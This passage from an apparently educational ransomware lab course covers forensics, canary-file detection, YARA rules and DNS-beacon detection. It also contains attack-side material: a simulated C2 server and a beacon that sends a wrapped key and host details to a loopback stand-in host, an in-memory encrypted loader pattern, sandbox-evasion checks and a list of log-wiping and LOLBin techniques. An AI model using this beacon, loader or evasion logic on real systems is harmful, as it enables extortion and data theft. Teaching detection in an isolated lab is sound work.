Save key_manager.py to ~/lab/attacker/module_05/ and run python3 key_manager.py. Confirm two PEM files appear in ~/lab/keys/. Open the public key with cat ~/lab/keys/attacker_public.pem and count the lines.
Integrate key_manager.py with your orchestrator.py from Module 04. Now the AES key must be wrapped before files are encrypted.
Attempt to read the AES key from ENCRYPTED_KEY.bin without the private key. Write a script that tries random AES keys from the blob — confirm it fails.
Call drop_ransom_note() and open the HTML file. Take a screenshot for your notes.
Call unwrap_aes_key() then run_decryption_phase(). Verify all files are restored intact by comparing checksums before and after.
Now you switch roles: from attacker to defender. You'll use the artefacts generated in your lab to practice the exact techniques incident responders use to triage a ransomware event.
~/lab/forensics/encryption_log.json — the JSON log written by the orchestrator~/lab/victims/*.locked — at least some encrypted files to inspect~/lab/victims/ENCRYPTED_KEY.bin — the RSA-wrapped key blob (from Module 05)xxd — hex dump tool. Shows the raw bytes of any file in hex + ASCII. Used to inspect the encrypted file headers.file — identifies file type by reading magic bytes. Useful to confirm encrypted files no longer look like their original format.strings — extracts printable ASCII strings from any binary. Used to confirm no plaintext survives in ciphertext.foremost — file carving tool. Scans raw bytes looking for known file headers (JPEG, PDF, etc). Confirms that properly implemented AES-GCM leaves nothing recoverable.binwalk — analyses firmware/binary files for embedded content. Useful to verify our encrypted format has no recognisable embedded structures.which xxd file strings foremost binwalk. If any are missing: sudo apt install -y foremost binwalk
Ransomware leaves detectable footprints before, during, and after encryption. The faster an analyst recognises these signals, the more files can be saved.
Mass file extension changes in a short window. Appearance of ransom note files. New .locked, .enc, .crypt extensions. Sudden spike in file modification events.
High CPU + disk I/O from an unexpected process. Calls to vssadmin, wmic shadow, bcdedit. Child processes spawned from Office applications or email clients.
Outbound connections to Tor nodes. DNS queries to unusual domains. Data exfiltration before encryption (large outbound transfers). C2 beacon traffic (regular intervals).
New run keys for persistence. Memory containing RSA public key material. Remnants of the AES key in memory (forensic window between execution and wipe).
The encryption_log.json generated in Module 04 simulates what an EDR or SIEM would capture during a ransomware execution. The log_analyser.py script reads it and computes three things defenders care about most: encryption speed (files per second), file size overhead introduced by the header and GCM tag, and the theoretical detection window — how many files would already be lost if an alert fires after N encrypted files.
The detection window calculation is particularly important. If your encryptor processes 150 files per second and your canary monitor checks every 1 second, up to 150 files are encrypted before the first alert fires. Faster detection polling = fewer files lost. This is a real operational trade-off in enterprise security.
import json, statistics from pathlib import Path from datetime import datetime def analyse_log(log_path: str = None): if log_path is None: log_path = str(Path.home() / 'lab/forensics/encryption_log.json') log = json.loads(Path(log_path).read_text()) encrypted = log['encrypted'] # ── Basic stats ────────────────────────────────────────────────── total_files = len(encrypted) total_bytes = sum(e['size'] for e in encrypted) elapsed = log.get('elapsed_seconds', 0) files_per_sec = total_files / elapsed if elapsed > 0 else 'N/A' print("═══ ENCRYPTION EVENT REPORT ═══") print(f"Timestamp : {datetime.fromtimestamp(log['timestamp'])}") print(f"Files encrypted: {total_files}") print(f"Total bytes : {total_bytes:,}") print(f"Time elapsed : {elapsed:.3f}s") print(f"Speed : {files_per_sec:.1f} files/sec") # ── Size ratio (ciphertext overhead) ───────────────────────────── # GCM adds a 16-byte auth tag; our header adds 24 bytes overhead_per_file = 40 # header (24) + GCM tag (16) print(f"\nExpected overhead per file: {overhead_per_file} bytes (header+GCM tag)") # ── Extension analysis ──────────────────────────────────────────── ext_counts = {} for entry in encrypted: # Get the original extension (remove .locked suffix first) orig_name = Path(entry['original']).name ext = Path(orig_name).suffix.lower() ext_counts[ext] = ext_counts.get(ext, 0) + 1 print("\nFiles by extension:") for ext, count in sorted(ext_counts.items(), key=lambda x: -x[1]): bar = '█' * count print(f" {ext:8s} {bar} ({count})") # ── Detection timing ───────────────────────────────────────────── print(f"\n⚡ Detection window:") print(f" If a SIEM rule triggers after 10 encrypted files,") print(f" {(10/files_per_sec if isinstance(files_per_sec,float) else 0):.2f}s from execution to alert.") print(f" {total_files - 10} files would already be lost.") analyse_log()
Ransomware that overwrites files in-place (rather than creating a new file then deleting the old) may leave file system slack containing partial original data. Using a forensic tool like foremost or scalpel, an analyst can sometimes carve recoverable fragments.
# foremost and binwalk are already on Kali — but install hexedit if missing sudo apt install -y hexedit # Check file magic bytes on encrypted files file ~/lab/victims/*.locked # Dump first 64 bytes of a locked file in hex xxd ~/lab/victims/doc_01.txt.locked | head -4 # Look for any plaintext remnants in encrypted files # (should find none if encryption is correct) strings ~/lab/victims/doc_01.txt.locked # Calculate entropy of an encrypted file # (should be near 7.9–8.0 bits/byte) python3 -c " import math, sys data = open(sys.argv[1],'rb').read() byte_counts = [data.count(bytes([i])) for i in range(256)] n = len(data) entropy = -sum((c/n)*math.log2(c/n) for c in byte_counts if c > 0) print(f'Entropy: {entropy:.4f} bits/byte (max=8.0)') " ~/lab/victims/doc_01.txt.locked # Compare entropy of a normal text file (run BEFORE encryption) python3 -c " import math, sys data = open(sys.argv[1],'rb').read() byte_counts = [data.count(bytes([i])) for i in range(256)] n = len(data) entropy = -sum((c/n)*math.log2(c/n) for c in byte_counts if c > 0) print(f'Entropy: {entropy:.4f} bits/byte') " ~/lab/victims/doc_01.txt
Objective: Use file entropy as a detection signal. Build a simple scanner that flags high-entropy files.
Before running the encryptor, record the entropy of each file in ~/lab/victims/ using the Python entropy script above. Save the numbers — you'll compare them after encryption.
After encryption, compare entropy values. Files with entropy ≥ 7.5 bits/byte are likely encrypted or compressed.
Write a Python script that scans a directory and flags any file with entropy above 7.5 along with its extension and size. This is the basis of a real ransomware detection heuristic.
Run your entropy scanner on /usr/bin/ (compressed binaries). How many false positives do you get? How would you reduce them?
If ransomware is caught while actively running, memory analysis is the only way to recover the AES key. The window is narrow — the payload wipes the key after use. A memory dump taken during encryption may still contain the key.
import re def carve_aes_keys_from_dump(dump_path: str) -> list[bytes]: """ Attempt to carve 256-bit (32-byte) AES keys from a memory dump. Keys appear as uniform random bytes — no magic number to find them by. This heuristic looks for 32-byte sequences with high byte diversity. Real key carving uses known key schedules or context clues. """ data = open(dump_path, 'rb').read() candidates = [] for offset in range(0, len(data) - 32, 4): candidate = data[offset:offset+32] unique_bytes = len(set(candidate)) # High uniqueness (>20 distinct bytes) suggests random key material if unique_bytes > 20: candidates.append((offset, candidate)) print(f"Found {len(candidates)} AES key candidates in dump") return candidates # NOTE: Requires a memory dump file — use /proc/PID/mem in Linux # or a Volatility-compatible dump for Windows analysis
The final module applies everything you've learned to the defensive mission: how to detect ransomware faster, limit blast radius, and make recovery possible. This is where the technical knowledge becomes operationally relevant.
tmux to split your terminal: start a session with tmux new-session -s module07, press Ctrl+B then % to split vertically, and use Ctrl+B then ←/→ to switch between panes. The setup walkthrough from Module 01 section 1.7 covers this if you need a refresher.
| Control | Phase Addressed | Effectiveness | Implementation Effort |
|---|---|---|---|
| Offline / air-gapped backups | Recovery | Critical | Medium |
| Email filtering + sandbox detonation | Initial Access | High | Medium |
| Privileged access workstations (PAW) | Lateral Movement | High | High |
| EDR with ransomware-specific rules | Execution / Encryption | Medium-High | Medium |
| Disable macros / LOLBins where not needed | Execution | High | Low |
| MFA everywhere | Initial Access / Lateral Movement | High | Low-Medium |
| Network segmentation / micro-segmentation | Lateral Movement | High | High |
| File server honeypots (canary files) | Detection (Encryption) | Medium | Low |
| VSS protection (shadow copy immutability) | Recovery | Medium | Low |
| Antivirus / signature-based detection | Execution | Low (bypass-prone) | Low |
A canary file is a file placed in a known location that should never be legitimately modified. If it changes, something is wrong. Because ransomware encrypts files alphabetically or by scanning the filesystem in order, canary files named with leading characters like AAA_ are found and encrypted early — triggering an alert before the majority of real files are touched.
How to run this exercise:
tmux session and split into two panes.python3 canary_monitor.py. It will create the canary files, record their hashes, then start polling every second.cd ~/lab/attacker/module_04 && python3 orchestrator.py.The three canaries are deliberately named AAA_canary_alpha.txt, AAA_canary_beta.txt, and zzz_canary_last.txt. The first two trigger early (alphabetically first); the last one catches any ransomware that scans in reverse order. This is a real production technique used by enterprise file servers.
import hashlib, time, os, json from pathlib import Path CANARY_LOCATIONS = [ str(Path.home() / 'lab/victims/AAA_canary_alpha.txt'), str(Path.home() / 'lab/victims/AAA_canary_beta.txt'), str(Path.home() / 'lab/victims/zzz_canary_last.txt'), ] def sha256_file(path: str) -> str: h = hashlib.sha256() h.update(Path(path).read_bytes()) return h.hexdigest() def create_canaries(): """Plant canary files and record their hashes.""" baseline = {} for path in CANARY_LOCATIONS: Path(path).write_text( f"CANARY FILE - {path} - created at {time.time()}\n" * 10 ) baseline[path] = sha256_file(path) print(f"[+] Canary planted: {Path(path).name}") Path(Path.home() / 'lab/forensics/canary_baseline.json').write_text( json.dumps(baseline, indent=2) ) print("[*] Canary baseline saved.") def monitor_canaries(interval: float = 1.0, max_checks: int = 30): """ Poll canary files every `interval` seconds. Alert immediately if any canary is modified or deleted. """ baseline = json.loads( Path(Path.home() / 'lab/forensics/canary_baseline.json').read_text() ) print(f"[*] Monitoring {len(baseline)} canary files every {interval}s...") for check in range(max_checks): for path, expected_hash in baseline.items(): if not Path(path).exists(): print(f"\n🚨 ALERT: Canary DELETED — {path}") print(" RANSOMWARE ACTIVITY DETECTED. Initiating containment.") return "DELETED" current_hash = sha256_file(path) if current_hash != expected_hash: print(f"\n🚨 ALERT: Canary MODIFIED — {path}") print(f" Expected: {expected_hash[:16]}...") print(f" Got : {current_hash[:16]}...") print(" RANSOMWARE ACTIVITY DETECTED. Initiating containment.") return "MODIFIED" print(f" [{check+1:02d}/{max_checks}] All canaries intact...", end='\r') time.sleep(interval) print("\n[*] Monitoring complete. No anomalies detected.") if __name__ == '__main__': create_canaries() print("\nNow run your encryptor in another terminal and watch this output...") monitor_canaries(interval=0.5, max_checks=60)
Objective: Test your canary detector against the encryptor. Measure time from first file encrypted to canary alert.
Run monitor_canaries() in one terminal window. Verify it reports "All canaries intact."
Open a second tmux pane (Ctrl+B then %) and run your full orchestrator from Module 05 targeting ~/lab/victims/. Note the timestamp when you press Enter.
How many seconds elapsed between execution and alert? How many non-canary files were already encrypted?
The canary files start with "AAA" so they appear first alphabetically. Does this change the detection time? Try moving them to subdirectories the scanner hits later.
Based on your forensic log (encryption_log.json), canary alert data, and the simulated ransom note, write a 1-page incident report summarising what happened, when, and how it could have been prevented.
Q3. A victim's IT team discovers ransomware is actively running. Their first instinct is to shut down all affected servers immediately. Why might this be the wrong decision?
winpmem or avml) can capture this. A forensic analyst can then carve the key and decrypt all files without paying ransom. The containment action (network isolation) can be done without powering off — unplug the network cable or apply firewall rules instead.Q4. Your canary file detector triggers 2 seconds after the ransomware starts. Your file server has 50,000 files. The encryptor processes 500 files per second. How many files are already encrypted when the alert fires?
Q5. A colleague suggests that simply paying the ransom is always the fastest recovery option. What are the strongest arguments against this position?
Ransomware authors are in a perpetual arms race with security vendors. Understanding how payloads evade detection is essential for building detections that survive. This module surveys the most common evasion categories and how defenders counteract each one.
loader_pattern.py) demonstrates how a two-stage encrypted loader works — using a completely benign stage-2 payload that just prints a message. The goal is to understand the pattern so you can build detections against it, not to create a functional evasion tool.
psutil library to read system metrics (CPU count, RAM, uptime, disk size). Install it if you haven't already: pip3 install psutil. Everything else in Module 08 uses only the standard library.
String encryption, base64 payloads, XOR-encoded shellcode, junk code insertion, control flow flattening. Goal: prevent static analysis from identifying malicious strings.
Sleep before execution (evade sandbox timeouts). Check for VM artefacts (VMware registry keys, low CPU count, missing mouse movement). Abort if sandbox environment detected.
Use legitimate signed Windows binaries — wmic, certutil, mshta, regsvr32 — to download and execute payload. Bypasses application whitelisting.
Inject malicious code into a trusted process (e.g. explorer.exe, svchost.exe). The ransomware runs under a legitimate process name, bypassing process-name-based rules.
Steal access tokens to run as SYSTEM or a privileged user. Required for deleting VSS snapshots, disabling Windows Defender, and encrypting system-owned files.
Delete event logs (wevtutil cl), overwrite free disk space, disable crash dumps, timestomping (modifying file timestamps to mislead analysts).
Many ransomware samples check whether they are running inside an automated analysis sandbox before executing. Understanding these checks lets you build more effective sandboxes.
| Evasion Check | What It Looks For | Defender Countermeasure |
|---|---|---|
| CPU core count | Sandboxes often use 1–2 cores. Real systems: 4–16+ | Configure sandbox VMs with ≥4 virtual cores |
| RAM size | Sandboxes: ≤2 GB. Real workstations: 8–32 GB | Provision sandbox with ≥8 GB RAM |
| Mouse movement / user interaction | No mouse events = automated environment | Use sandbox plugins that simulate mouse/keyboard activity |
| VMware / VirtualBox artefacts | Registry keys, driver names, CPUID signature, MAC prefix | Use bare-metal sandboxes or stripped hypervisors; patch CPUID |
| Execution delay (sleep) | Sleep 10+ minutes to outlast sandbox timeout | Accelerate time in sandbox; hook NtDelayExecution |
| Installed software checks | Real machines have Outlook, Office, browser history | Pre-populate sandbox with realistic user artefacts |
| Network connectivity | Some strains only activate if they can reach a C2 server | Use INetSim to simulate internet responses; provide fake C2 response |
Rather than shipping a plaintext malicious script (which AV would detect), modern ransomware uses a two-stage loader: a clean-looking stage-1 that decrypts and executes an in-memory stage-2 payload.
import base64, os from cryptography.fernet import Fernet """ ATTACKER BUILD STEP (offline): 1. Write malicious payload as Python bytes 2. Encrypt it with a hardcoded Fernet key 3. Embed the ciphertext in the "loader" script 4. Loader decrypts to bytes at runtime and exec()s them This is why static scanners miss stage-1: no malicious strings. We demonstrate with a BENIGN payload ("Hello from stage 2"). """ # ── Simulate the build step ───────────────────────────────────────── FERNET_KEY = Fernet.generate_key() stage2_payload = b""" print("Hello from stage-2 payload (this would be the ransomware)") print("In a real loader, this would be exec()'d in memory — never written to disk") """ fernet = Fernet(FERNET_KEY) encrypted_payload = fernet.encrypt(stage2_payload) print("=== Loader would embed these values ===") print(f"KEY : {FERNET_KEY.decode()}") print(f"DATA: {encrypted_payload.decode()[:60]}...") # ── Simulate the loader execution ──────────────────────────────────── print("\n=== Loader executes on victim machine ===") decrypted = Fernet(FERNET_KEY).decrypt(encrypted_payload) exec(decrypted) # In memory only — never written to disk # ── Detection note ──────────────────────────────────────────────────── print(""" Detection approach: - Hook exec() / compile() calls at the Python interpreter level - Monitor for processes that: read encrypted data → decrypt → execute in memory - EDR behavioural analysis: 'process creates no child processes but opens hundreds of files' is the ransomware signature, not the loader """)
Below are example detection logic patterns. You will formalise these as YARA rules in Module 09.
Process starts
│
├── Does it call VirtualAllocEx + WriteProcessMemory + CreateRemoteThread?
│ └── YES → Process Injection suspected → ALERT (high confidence)
│
├── Does it enumerate files by extension at >100 files/sec?
│ └── YES → Possible bulk file operation
│ ├── Does it then call SetFileAttributes + WriteFile on each?
│ │ └── YES → Encryption pattern → ALERT (high confidence)
│ └── NO → Possible legitimate indexer
│
├── Does it call vssadmin / wmic shadowcopy delete?
│ └── YES → Anti-recovery attempt → ALERT (critical)
│
├── Does it write a file matching *.locked / *.enc / README* to every directory?
│ └── YES → Ransom note pattern → ALERT (critical)
│
└── Does it resolve a .onion address or connect to Tor ports (9001/9030)?
└── YES → Possible C2 communication → ALERT + BLOCK
Objective: Write a Python script that checks for sandbox artefacts and reports whether the environment looks "real" or "virtual." This is what ransomware does — you're replicating its evasion logic so you understand it.
Use os.cpu_count(). A count of 1 or 2 suggests a sandbox VM.
Use psutil.virtual_memory().total. Below 4 GB is a sandbox indicator.
Use psutil.boot_time(). Very recent boot time (< 10 minutes) suggests a freshly launched sandbox VM.
Use psutil.disk_usage('/').total. Sandboxes often have very small (10–20 GB) disks.
Assign a suspicion score out of 10 (1 point per positive indicator). Print "SANDBOX LIKELY" if score ≥ 3.
YARA is the industry-standard tool for writing pattern-based malware signatures. Every major EDR, AV, and SIEM platform supports YARA rules. Writing effective rules for ransomware requires understanding both the static artefacts (strings, byte patterns) and structural features (file format, entropy regions) that ransomware leaves behind.
yara --version. If missing: sudo apt install -y yarals ~/lab/victims/*.locked should show results. If not, run the Module 04 orchestrator first.README_YOUR_FILES_ARE_ENCRYPTED.html) and key blob (ENCRYPTED_KEY.bin) from Module 05. These are the targets your rules will match against.A YARA rule scans a file (or process memory) and returns a match if its condition evaluates to true. There are three sections:
$.filesize), and module functions (math.entropy()). If this evaluates to true, the rule fires.The power comes from combining conditions: a file with high entropy and a known magic header and a .locked extension is almost certainly ransomware-encrypted. Each condition alone produces false positives; together they are precise.
The annotated rule below is a reference template. Read every comment before writing your own rules — the comments explain not just what each directive does, but why you would use it in a ransomware detection context.
/* YARA rule structure: rule: rule ExampleRule : ransomware educational { meta: description = "Matches files containing ransomware-like patterns" author = "Lab Student" severity = "high" reference = "module_09" strings: // Plain string (case-sensitive by default) $ransom_note = "YOUR FILES HAVE BEEN ENCRYPTED" // Case-insensitive string $ransom_lower = "your files have been encrypted" nocase // Wide string (UTF-16LE — common in Windows malware) $ransom_wide = "ENCRYPTED" wide // Hex byte pattern (AES S-Box first row — present in many AES implementations) $aes_sbox = { 63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 } // Regex: matches typical Tor .onion addresses $tor_address = /[a-z2-7]{16,56}\.onion/ // Regex: RSA public key PEM header $rsa_pubkey = /-----BEGIN (RSA |)PUBLIC KEY-----/ // Common file extension rename strings $ext_locked = ".locked" $ext_enc = ".enc" $ext_crypt = ".crypt" // VSS deletion command $vss_delete = "vssadmin delete shadows" nocase $wmic_shadow = "wmic shadowcopy delete" nocase $bcdedit = "bcdedit /set {default} recoveryenabled No" nocase condition: // Any 2 of the ransom note strings OR the VSS deletion commands // OR an AES S-Box signature combined with a Tor address ( (#ransom_note + #ransom_lower + #ransom_wide) >= 1 or ($vss_delete or $wmic_shadow or $bcdedit) or ($aes_sbox and $tor_address) or (2 of ($ext_*) and $rsa_pubkey) ) }{ meta: // human-readable metadata (not used in matching) strings: // patterns to search for condition: // logical expression that must evaluate to true } */
A powerful YARA feature is the ability to check entropy of file sections. Encrypted code sections have entropy ≥ 7.0, which distinguishes them from compressed or plaintext code.
import "math" import "pe" rule HighEntropyPESection : suspicious { meta: description = "PE file with a high-entropy section — possible packed/encrypted payload" author = "Lab Student" condition: // File is a PE binary uint16(0) == 0x5A4D // "MZ" magic and pe.is_pe // Has at least one section with entropy > 7.2 and for any section in pe.sections: ( math.entropy(section.raw_data_offset, section.raw_data_size) > 7.2 ) // And the file is larger than 10 KB (avoid false positives on tiny stubs) and filesize > 10KB } rule EncryptedFileArtefact : ransomware { meta: description = "File that appears to be ransomware-encrypted (high entropy, custom magic)" strings: // Our lab's custom magic header "LOCK" $magic_lock = { 4C 4F 43 4B } // Other known ransomware magic bytes $magic_wncry = { 57 4E 43 52 59 } // WannaCry: "WNCRY" $magic_locky = { 00 00 00 00 00 00 00 00 } // Locky: null header condition: // Starts with a known magic AND has high entropy body ( $magic_lock at 0 or $magic_wncry at 0 ) and math.entropy(0, filesize) > 7.4 }
/* These rules scan PROCESS MEMORY rather than files on disk. Run with: yara -p 4 memory_scan.yarRequires root / administrator privileges. */ rule RSAKeyInMemory : forensics { meta: description = "Detects RSA key material in process memory" strings: $pem_private = "-----BEGIN RSA PRIVATE KEY-----" $pem_public = "-----BEGIN PUBLIC KEY-----" $pem_pkcs8 = "-----BEGIN PRIVATE KEY-----" // RSA PKCS#1 DER prefix for 4096-bit key $rsa_der_4096 = { 30 82 09 } condition: any of them } rule AESKeyScheduleInMemory : forensics { meta: description = "AES key schedule constants present in memory — possible active encryption" strings: // AES S-Box bytes (first 16 bytes) $sbox_start = { 63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 } // AES inverse S-Box bytes (first 16 bytes) $inv_sbox = { 52 09 6A D5 30 36 A5 38 BF 40 A3 9E 81 F3 D7 FB } // AES round constants $rcon = { 01 02 04 08 10 20 40 80 1B 36 } condition: $sbox_start and $inv_sbox and $rcon } rule RansomNoteInMemory : ransomware { meta: description = "Common ransom note phrases found in process memory" strings: $phrase1 = "YOUR FILES HAVE BEEN ENCRYPTED" nocase $phrase2 = "bitcoin" nocase $phrase3 = "tor browser" nocase $phrase4 = "unique ID" nocase $phrase5 = "do not rename" nocase $phrase6 = "decryption key" nocase condition: 3 of them }
# YARA is pre-installed on Kali — confirm version yara --version # If for any reason it's missing: # sudo apt install -y yara # Save your rules to the module_09 folder, then test: # Test rule against your encrypted files yara -r ~/lab/attacker/module_09/entropy_detection.yar ~/lab/victims/ # Verbose output — shows which strings matched yara -s ~/lab/attacker/module_09/entropy_detection.yar ~/lab/victims/doc_01.txt.locked # Scan recursively, output filenames only yara -r -l ~/lab/attacker/module_09/entropy_detection.yar ~/lab/ 2>/dev/null # Compile rules for faster future scanning yarac ~/lab/attacker/module_09/entropy_detection.yar ~/lab/keys/compiled_rules.yarc # Memory scan — find the PID of a running python3 process PID=$(pgrep -f "python3 orchestrator.py" | head -1) if [ -n "$PID" ]; then sudo yara ~/lab/attacker/module_09/memory_scan.yar $PID else echo "Start orchestrator.py first in another pane, then run this" fi
Fill in the fields to generate a YARA rule skeleton for a fictional ransomware family.
Objective: Author three YARA rules — one for your lab's encrypted file format, one for the ransom note, one for the key blob — and measure their precision and recall.
Save your rule as ~/lab/attacker/module_09/rule1_encrypted.yar. It should match files starting with your LOCK magic bytes and entropy > 7.4. Test with yara -r ~/lab/attacker/module_09/rule1_encrypted.yar ~/lab/victims/ — it should match all .locked files and zero others.
Write a rule matching the HTML ransom note by its known phrase and the simulation disclaimer. Measure: does it trigger on the ransom note only?
Write a rule matching ENCRYPTED_KEY.bin — it's 512 bytes long (RSA-4096 output) and has high entropy. Can you distinguish it from random data files of the same size?
Create 20 benign files (text, Python source, JSON). Run all 3 rules. Count true positives, false positives, true negatives. Calculate precision = TP / (TP + FP).
Ransomware doesn't operate in isolation. At minimum, it exfiltrates the RSA-wrapped AES key to the attacker's C2 server. Many strains also exfiltrate files (double extortion), beacon for commands, or check a "killswitch" domain. This module covers how to simulate and detect that traffic.
tcpdump to capture the traffic between them. Use tmux to manage this:
tmux new-session -s module10tcpdump capture + C2 server127.0.0.1 (loopback interface) — it never leaves your Kali VM. The Host-only network adapter ensures nothing can reach the internet even if you mistype an address.
tcpdump — command-line packet capture tool. Captures raw network traffic to a .pcap file for later analysis.wireshark — GUI packet analyser. Opens .pcap files and lets you inspect HTTP requests, headers, and payloads visually. Launch with wireshark ~/lab/forensics/c2_capture.pcap &http.server, urllib.request) — no extra pip installs needed.which tcpdump wireshark. If missing: sudo apt install -y tcpdump wireshark-common
127.0.0.1:8888 — the loopback address. This means it is only reachable from within your Kali VM. No traffic leaves the machine. The User-Agent header in the beacon is set to a browser string to illustrate how real ransomware blends in with normal HTTP traffic, but since this goes nowhere external, it is purely for observation. Do not change the C2_URL to a real IP address.
| Data Sent | When | Protocol / Method | Detection Opportunity |
|---|---|---|---|
| RSA-wrapped AES key blob | Immediately after key generation | HTTPS POST to C2 / Tor .onion | POST to .onion; unusual destination; large body |
| Victim fingerprint (ID, OS, domain) | On execution | HTTPS POST / DNS TXT query | New host reaching out to uncategorised domain |
| Exfiltrated files (double extortion) | Before encryption | HTTPS, FTP, cloud storage APIs | Sustained large outbound transfer from file server |
| Heartbeat / alive signal | Periodically during encryption | HTTP GET; DNS beacon | Regular-interval DNS queries to low-reputation domain |
| Killswitch domain check | On startup (WannaCry pattern) | HTTP GET to hardcoded domain | DNS query to domain that didn't exist previously |
We simulate a C2 protocol using a local Python HTTP server — all traffic stays on the loopback interface (127.0.0.1) inside your Kali VM. No real network communication occurs, and your Host-only VMware adapter ensures nothing leaves the VM.
from http.server import HTTPServer, BaseHTTPRequestHandler import json, base64, threading, time received_keys = [] class C2Handler(BaseHTTPRequestHandler): def log_message(self, fmt, *args): pass # suppress default logging def do_POST(self): if self.path == '/register': length = int(self.headers.get('Content-Length', 0)) payload = json.loads(self.rfile.read(length)) victim_id = payload.get('victim_id') enc_key_b64 = payload.get('encrypted_key') received_keys.append({ 'victim_id' : victim_id, 'received_at': time.time(), 'key_bytes' : len(base64.b64decode(enc_key_b64)), }) print(f"[C2] Received key from victim: {victim_id}") print(f"[C2] Key blob size: {received_keys[-1]['key_bytes']} bytes") print(f"[C2] Total victims registered: {len(received_keys)}") self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps({'status': 'ok'}).encode()) else: self.send_response(404) self.end_headers() def do_GET(self): if self.path == '/victims': self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps(received_keys, indent=2).encode()) if __name__ == '__main__': server = HTTPServer(('127.0.0.1', 8888), C2Handler) print("[C2] Simulated C2 server listening on 127.0.0.1:8888") print("[C2] Endpoints:") print(" POST /register — receive victim key registration") print(" GET /victims — list all registered victims") server.serve_forever()
import urllib.request, json, base64, hashlib, platform, time C2_URL = 'http://127.0.0.1:8888' # loopback only — not real network TIMEOUT = 5 def generate_victim_id() -> str: fp = platform.node() + platform.machine() + str(time.time()) return hashlib.sha256(fp.encode()).hexdigest()[:16].upper() def register_with_c2(encrypted_key: bytes, victim_id: str) -> bool: """ Send the RSA-wrapped AES key to the C2 server. Without this, the attacker cannot decrypt the victim's files even if they want to. """ payload = json.dumps({ 'victim_id' : victim_id, 'encrypted_key': base64.b64encode(encrypted_key).decode(), 'os' : platform.system(), 'hostname' : platform.node(), 'timestamp' : time.time(), }).encode() req = urllib.request.Request( url = C2_URL + '/register', data = payload, method = 'POST', headers = { 'Content-Type' : 'application/json', 'Content-Length': str(len(payload)), 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', } ) try: resp = urllib.request.urlopen(req, timeout=TIMEOUT) result = json.loads(resp.read()) return result.get('status') == 'ok' except Exception as e: print(f"[!] C2 registration failed: {e}") # Real ransomware often stores the key locally as fallback return False def heartbeat_loop(victim_id: str, interval: int = 30): """Send periodic alive signals to C2.""" print(f"[*] Starting heartbeat loop (every {interval}s)") while True: try: payload = json.dumps({ 'victim_id': victim_id, 'alive' : True, 'ts' : time.time(), }).encode() req = urllib.request.Request( C2_URL + '/register', data=payload, method='POST', headers={'Content-Type':'application/json'} ) urllib.request.urlopen(req, timeout=3) except: pass time.sleep(interval)
The loopback interface (lo) carries all C2 traffic within the VM. Capturing and analysing this teaches you what defenders see in packet captures. Since you're on Kali, you can also open the .pcap file directly in Wireshark's GUI for a visual view of the traffic.
# tcpdump and wireshark are already on Kali — verify: which tcpdump && tcpdump --version | head -1 # ── Open a tmux session with two panes (Ctrl+B then %) ───────────── # LEFT PANE: Start capture on loopback before running any C2 code sudo tcpdump -i lo -w ~/lab/forensics/c2_capture.pcap port 8888 # (this blocks — leave it running, switch to right pane) # RIGHT PANE: Run C2 server then beacon cd ~/lab/attacker/module_10 python3 c2_server_sim.py & sleep 1 python3 -c " import sys; sys.path.insert(0, '.') from c2_beacon import register_with_c2, generate_victim_id import os enc_key = os.urandom(512) vid = generate_victim_id() success = register_with_c2(enc_key, vid) print('Registered:', success) " # Back in LEFT PANE: press Ctrl+C to stop the capture # ── Analyse the capture ───────────────────────────────────────────── # Show HTTP traffic content (human-readable) sudo tcpdump -r ~/lab/forensics/c2_capture.pcap -A 2>/dev/null | grep -A5 "POST /register" # Count packets by size sudo tcpdump -r ~/lab/forensics/c2_capture.pcap -q 2>/dev/null | \ awk '{print $NF}' | sort -n | uniq -c | tail -20 # Extract victim_id from captured traffic sudo tcpdump -r ~/lab/forensics/c2_capture.pcap -A 2>/dev/null | \ grep -o '"victim_id":"[^"]*"' # Open capture in Wireshark GUI (Kali includes Wireshark) wireshark ~/lab/forensics/c2_capture.pcap &
Some ransomware encodes data in DNS queries — a technique that bypasses HTTP proxies and is harder to detect because DNS traffic is rarely inspected in depth. Instead of making an HTTP POST to a C2 server, the malware encodes the victim ID or key material into subdomain names and queries them. The data arrives at the attacker's DNS server as part of a normal-looking name resolution request.
The detection signature is regularity: legitimate user browsing produces DNS queries at irregular intervals to many different domains. A beacon queries the same root domain at suspiciously uniform intervals — the standard deviation of inter-query times is very low. The detect_beaconing function below measures exactly this. The jitter_threshold parameter sets how much timing variation is allowed before flagging — a low value catches tight beacons while tolerating normal software update checks.
The sample log included in the script contains one beaconing client (192.168.1.50 querying beacon.darkcipher.cc every 60 seconds) and one normal client (192.168.1.90 querying different domains at irregular intervals). Run the script and verify only the beaconer is flagged.
import statistics, time from collections import defaultdict """ DNS beaconing signature: - Same domain queried at suspiciously regular intervals - Subdomain varies (encodes data) but root domain is fixed - Query frequency doesn't match any browsing pattern This analyser works on DNS log exports from your resolver. Format expected: timestamp client_ip query_domain """ SAMPLE_DNS_LOG = """ 1700000010 192.168.1.50 a3b4c5d6.beacon.darkcipher.cc 1700000070 192.168.1.50 f7e8a9b0.beacon.darkcipher.cc 1700000130 192.168.1.50 1c2d3e4f.beacon.darkcipher.cc 1700000190 192.168.1.50 5a6b7c8d.beacon.darkcipher.cc 1700000250 192.168.1.50 9e0f1a2b.beacon.darkcipher.cc 1700000010 192.168.1.90 www.google.com 1700000045 192.168.1.90 api.github.com 1700000300 192.168.1.90 updates.microsoft.com """ def detect_beaconing(dns_log: str, jitter_threshold: float = 5.0) -> list: """ Flag clients that query the same root domain at very regular intervals. jitter_threshold: max allowed std dev in seconds between queries. """ events = defaultdict(list) # (client, root_domain) → [timestamps] for line in dns_log.strip().split('\n'): parts = line.strip().split() if len(parts) < 3: continue ts, client, domain = float(parts[0]), parts[1], parts[2] # Extract root domain (last two labels) labels = domain.split('.') root = '.'.join(labels[-3:]) if len(labels) > 2 else domain events[(client, root)].append(ts) alerts = [] for (client, root), timestamps in events.items(): if len(timestamps) < 3: continue timestamps.sort() intervals = [timestamps[i+1] - timestamps[i] for i in range(len(timestamps)-1)] mean_interval = statistics.mean(intervals) jitter = statistics.stdev(intervals) if len(intervals) > 1 else 0 if jitter < jitter_threshold: alerts.append({ 'client' : client, 'root_domain' : root, 'query_count' : len(timestamps), 'mean_interval': round(mean_interval, 1), 'jitter_stdev' : round(jitter, 2), 'verdict' : 'BEACON DETECTED', 